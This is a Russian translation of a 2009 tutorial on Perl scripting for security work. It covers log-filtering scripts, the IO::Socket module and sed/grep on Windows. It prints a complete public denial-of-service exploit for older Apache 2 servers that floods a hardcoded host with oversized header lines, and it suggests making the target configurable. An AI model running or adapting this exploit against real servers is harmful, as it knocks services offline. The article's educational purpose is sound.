Сценарии и безопасность (Часть 2)

Published on Февраль 3, 2009 by   ·   Комментариев нет

Мы видели в первой части этой статьи, что написание сценариев (scripting) занимает определенное место в жизни специалиста по компьютерной безопасности. В этой второй части я покажу вам, как изменить ранее написанный сценарий, а также поговорим о некоторых мощных инструментах для работы с командной строкой.

Если вы пропустили предыдущую статью из этого цикла, то, пожалуйста, прочитайте: Сценарий и безопасность (Часть 1).

В первой части этой статьи, посвященной тому, как вам, как практикующему специалисту по компьютерной безопасности, может помочь написание сценариев, мы рассмотрели как сценарий, написанный на языке PERL, может помочь вам. Как я упоминал в первой части, существует много различных назначений для языка PERL или Python в зависимости от ваших личных предпочтений. То, о чем мы расскажем в этой части статьи – это как модифицировать сценарий, о котором я рассказал в первой части статьи, а затем рассмотрим модуль io:module языка PERL. Также мы рассмотрим некоторые такие мощные средства, как sed, grep и другие инструменты, импортированные на Win32.

Модификация сценариев

Я ничего о вас не знаю, но очень необычно начинать новую работу только с выяснения правильных сценариев, которые вам приходится поддерживать. Что я имею ввиду под правильными сценариями – это те сценарии с которых вы начинаете новую работу. Часто очень сложно поддерживать или понять эти сценарии, в зависимости от того, как хорошо они написаны, и от наличия или отсутствия в сценарии комментариев. Помните, если вас сценарий планируется быть расширяемым, то вы должны включать в него подробные комментарии для тех людей, которые в дальнейшем будут сопровождать или модифицировать ваш сценарий. На этом моменте давайте посмотрим на сценарий, который я написал в предыдущей статье.

Ради краткости я не буду включать сценарий или файл с ним, который я показывал в первой части этой статьи. Пожалуйста найдите первую часть и скопируйте это файл с примером в вашу директорию C:\. Теперь, после того как вы сделали это, мы может перейти к изменению сценария. Нам нужно изменить шаблон для поиска (search pattern), добавив к адресу “192.168.1.102” другой IP адрес. Да, в самом деле вы можете написать сценарий, который будет искать более, чем по одному шаблону за раз! Единственное изменение, которое нам нужно сделать, описано ниже. Все остальное в сценарии останется без изменений.

#!/usr/bin/perl -w$pattern = «(192.168.1.102|192.168.1.103)»; #changes are done here on this line

open(INPUT, ‘c:\articlefile’) || die «can’t open the file called article_file: $1»;

open(OUTPUT, ‘>c:\articleoutput’) ||die «can’t write to the file called script_output: $1»;

while(<INPUT>)  {
if ($_ =~(m/$pattern/g))    {
print OUTPUT «$_\n»;

}
}

close(INPUT);
close(OUTPUT);

Теперь, когда мы изменили наш сценарий (script), как показано выше, универсальность PERL снова выходить на передний план. Путем простого изменения одной строки, у вас теперь появилась возможность поиска нескольких ссылок на шаблон (instances of a pattern), который может вас заинтересовать. Быстро и легко – именно поэтому язык PERL так популярен.

Модуль io:module в языке PERL

Ранее в этой статье я упоминал, что мы рассмотрим на один из многих модулей, предлагаемых языком программирования PERL. Я надеюсь, что вы уже перешли по только что предложенной мной гиперссылке (hyperlink) – там вы можете найти невероятное количество различных модулей. Здесь можно найти работающие модули, а затем практиковать на них ваши знания PERL путем изменения некоторых из них для различных своих целей. Просто необходимо немного выучить PERL. Т.к. безопасность всегда является предметом особого внимания для нас, давайте взглянем на небольшой кусок хакерского кода, который был написан на PERL, и для этого мы использовали модуль io:module. Пожалуйста, посмотрите на пример кода ниже.

#!/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#

use IO::Socket::INET;

$host=»192.168.1.108″;
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
=> ‘tcp’) || die «new error$@\n»;
binmode($sock);
$hostname=»Host: $host»;
$buf2=’A’x50;
$buf4=’A’x8183;
$len=length($buf2);
$buf=»GET / HTTP/1.1\r\n»;
send($sock,$buf,0) || die «send error:$@\n»;
for($i= 0; $i < 2000000; $i++)
{
$buf=» $buf4\r\n»;
send($sock,$buf,0) || die «send error:$@, target maybe have been
D.o.S?\n»;
}
$buf=»$hostname\r\n»;
$buf.=»Content-Length: $len\r\n»;

$buf.=»\r\n»;
$buf.=$buf2.»\r\n\r\n»;

send($sock,$buf,0) || die «send error:$@\n»;
print «Ok, our buffer have send to target \n»;
close($sock);

Как мы можем увидеть из сценария, в нем используется жестко прописанный (hard coded) IP адрес. Это можно увидеть в подчеркнутой строке: в значении переменной $host. Благодаря короткому, состоящему всего из 24 строчек, написанных на языке PERL, появился хакерский код. Он используется для демонстрации состояния отказ в обслуживании (denial of service — DOS) на веб-сервере Apache web server. Когда вы смотрите на хакерский код, написанный на C или на C++ , то почти наверняка он будет состоять более чем из 24 строк.

Этот кусок хакерского кода великолепный пример того, насколько гибок язык программирования PERL. Давайте теперь пойдем дальше и изменим сценарий так, чтобы вы не использовали жестко закодированный IP адрес, а имели возможность его задания? То же самое вы можете сделать по отношению к переменной, отвечающей за порт. Это просто небольшие изменения, но они помогут показать вам насколько гибок и компактен может быть язык PERL.

Мощные средства (Power tools)

В течение долгого времени Linux и UNIX могли смело заявлять, что они обладали лучшими инструментами программной оболочки (shell). С этим было достаточно сложно спорить, потому что это было действительно так. Но теперь это изменилось, и win32 получил доступ к этим мощным инструментам. Перенесены на win32 с Linux и UNIX некоторые наиболее известные средства — sed и grep. Внесение изменений в очень длинный документ могло быть очень обременительным занятием. Но только не с помощью утилиты sed. Эта маленькая программа сильно упрощает эту задачу. Вы можете загрузить эти инструменты прямо отсюда. После того, как вы познакомитесь с такими инструментами, как sed и grep, то вы сможете лучше понять прелести работы с командной строкой, которая представлена с помощью cmd.exe.

Резюме

В рамках этой статьи, состоящей из двух частей, мы увидели, что PERL – это неоценимый инструмент для специалиста по компьютерной безопасности. Если после неудачных попыток изучения C или C++, вы поняли, что это не для вас, то определенно попытайтесь изучить PERL. Возможность написания таких простых сценариев, о которых мы рассказали в этой статье, позволит вам съэкономить уйму времени в будущем. Другая замечательная возможность PERL заключается в его переносимости, в случае, если вы работаете в гетерогенной среде (heterogeneous environment). Наконец, такие мощные инструменты, как sed и grep могут быть очень полезными в повседневной работе. Вы будете удивлены насколько мощны и как удобны эти инструменты. Я искренне надеюсь, что вам понравилась эта статья. До новых встреч!

Источник www.windowsecurity.com







































Смотрите также:

Tags: , , , ,

Readers Comments (Комментариев нет)




Да человек я, человек! =)




Exchange 2007

Проведение мониторинга Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 3)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Проведение мониторинга Exchange 2007 с помощью диспетчера System ... [+]

Практическое рассмотрение перехода с Exchange 2003 на Exchange 2007 (часть 1)

Введение В этой статье из нескольких частей я хочу показать вам процесс, который недавно использовал для перехода с существующей среды Exchange 2003 ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 2)

Если вы пропустили первую часть этой серии, пожалуйста, прочтите ее по ссылке Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (Часть ... [+]

Мониторинг Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 2)

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Мониторинг Exchange 2007 с помощью диспетчера System Center Operations ... [+]

Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 5)

Если вы пропустили предыдущие части этой серии статей, перейдите по ссылкам: Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 1) ... [+]

Установка и настройка Exchange 2007 из командной строки (Часть 3)

If you missed the previous parts in this article series please read: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 1)

Инструмент ExRCA Текущий выпуск инструмента предоставляется только в целях тестирования и оснащен 5 опциями: Тест подключения Outlook 2007 Autodiscover Тест подключения Outlook 2003 RPC ... [+]

Развертывание сервера Exchange 2007 Edge Transport (часть 5)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Развертывание сервера Exchange 2007 Edge Transport (часть 1) Развертывание ... [+]

Установка и настройка Exchange 2007 из командной строки (часть 2)

Если вы пропустили первую статью данного цикла, пожалуйста, перейдите по ссылке: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование интегрированных сценариев Using Exchange Server 2007 – часть 2: генерирование отчетов агента Transport AntiSpam Agent

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Использование интегрированных сценариев Using Exchange Server 2007 – часть ... [+]